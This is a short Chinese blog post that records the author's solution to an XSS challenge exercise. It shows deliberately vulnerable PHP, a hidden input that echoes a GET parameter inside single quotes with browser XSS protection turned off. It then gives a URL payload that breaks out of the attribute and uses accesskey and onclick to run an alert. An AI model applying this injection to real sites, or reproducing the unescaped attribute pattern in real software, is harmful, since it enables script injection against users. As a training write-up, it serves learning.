您的位置:首页 > 其它

XSS 练习题记录

2017-08-25 11:20 211 查看
今天看到网上有个XSS挑战赛的,我就去参加了,当做学习。

先记录一下解题过程

找了一体解题人数最多的,也就是最简单的题目。

源码

<?php
header('X-XSS-Protection:0');
header('Content-Type:text/html;charset=utf-8');
?>
<head>
<meta http-equiv="x-ua-compatible" content="IE=10">
</head>
<body>
<form action=''>
<input type='hidden' name='token' value='<?php
echo htmlspecialchars($_GET['token']); ?>'>
<input type='submit'>
</body>

之前做过类似的htmlspecialchars会让获取的js不执行,但是遇到单引号就GG了
还有这个type='hidden'是一个隐藏页面。得=想办法激活。

网上查询发现可以设置快捷键

于是构造URL    http://xxxxx/xss14.php?token=%27%20accesskey=X%20onclick=alert%28/xss/%29%20%27



成功过关
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签:  XSS